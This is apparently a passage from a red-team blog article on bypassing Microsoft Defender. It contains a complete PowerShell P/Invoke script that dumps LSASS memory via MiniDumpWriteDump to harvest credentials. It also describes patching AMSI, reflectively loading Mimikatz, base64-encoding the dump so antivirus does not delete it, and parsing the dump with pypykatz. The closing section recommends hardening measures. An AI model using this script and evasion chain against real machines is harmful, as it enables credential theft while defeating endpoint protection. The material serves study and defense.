    For this PoC, I will be executing Mimikatz, but feel free to use any other you may.

    Reflectively loading Mimikatz

    Note that, as previously specified, bypassing AMSI may not be needed for certain binaries depending on the binaries' string representation that you apply in the script. But since Invoke-Mimikatz is widely known, I needed to do it in this example.

    10. P/Invoke C# assemblies

    P/Invoke, or Platform Invoke, allows us to access structs, callbacks, and functions from unmanaged native Windows DLLs in order to access lower level APIs in native components that may not be available directly from .NET.

    Now, since we know what it does, and knowing we can use .NET in PowerShell, that in consequence means we can access low level APIs from a PowerShell script that we can run without Defender looking over our shoulders if we patch AMSI before.

    For this proof of concept, let's say we want to dump the LSASS process to a file via MiniDumpWriteDump, available in "Dbghelp.dll". We could leverage fortra's nanodump tool for that. However, it is full of signatures that Microsoft has generated for the tool. Instead, we can leverage P/Invoke to program a PowerShell script that would do the same, but we can patch AMSI to become undetectable while doing so.

    As such, I will use the following PS code for the PoC.

    MiniDumpWriteDump.ps
    Add-Type @"
        using System;
        using System.Runtime.InteropServices;
    
        public class MiniDump {
            [DllImport("Dbghelp.dll", SetLastError=true)]
            public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
        }
    "@
    
    $PROCESS_QUERY_INFORMATION = 0x0400
    $PROCESS_VM_READ = 0x0010
    $MiniDumpWithFullMemory = 0x00000002
    
    Add-Type -TypeDefinition @"
        using System;
        using System.Runtime.InteropServices;
    
        public class Kernel32 {
            [DllImport("kernel32.dll", SetLastError=true)]
            public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
            [DllImport("kernel32.dll", SetLastError=true)]
            public static extern bool CloseHandle(IntPtr hObject);
        }
    "@
    
    $processId ="788"
    
    $processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)
    
    if ($processHandle -ne [IntPtr]::Zero) {
        $dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
        $fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()
    
        $result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
    
        if ($result) {
            Write-Host "Sucess"
        } else {
            Write-Host "Failed" -ForegroundColor Red
        }
    
        $dumpFile.Close()
        [Kernel32]::CloseHandle($processHandle)
    } else {
        Write-Host "Failed to open process handle." -ForegroundColor Red
    }

    In this example, we first import the MiniDumpWriteDump function from Dbghelp.dll via Add-Type, continuing with importing OpenProcess and CloseHandle from kernel32.dll. Then finally get a handle to the LSASS process and use MiniDumpWriteDump to perform a full memory dump of the process and write it to a file.

    As such, the full PoC would be as follows:

    Perform the LSASS dump
    Download dump with impacket-smbclient
    Parse MiniDump file locally with pypykatz

    Note that in the end I used a slightly modified script that encrypts the dump to base64 before writing it to the file since Defender was detecting the file as LSASS dump and deleting it.

    Conclusions

    With all this, I am not trying to expose Defender or say that it is a bad Antivirus solution. In fact, it is probably one of the best available on the market, and most techniques here can be used with most vendors. But since it is the one I could use for this article I cannot speak for others.

    In the end, you should never rely on an AV or EDR as first line of defense against threat actors, but should instead harden the infrastructure so that even if endpoint solutions are bypassed you can minimize the potential damage. For example, strong permission system, GPOs, ASR rules, controlled access, process hardening, CLM, AppLocker, etc.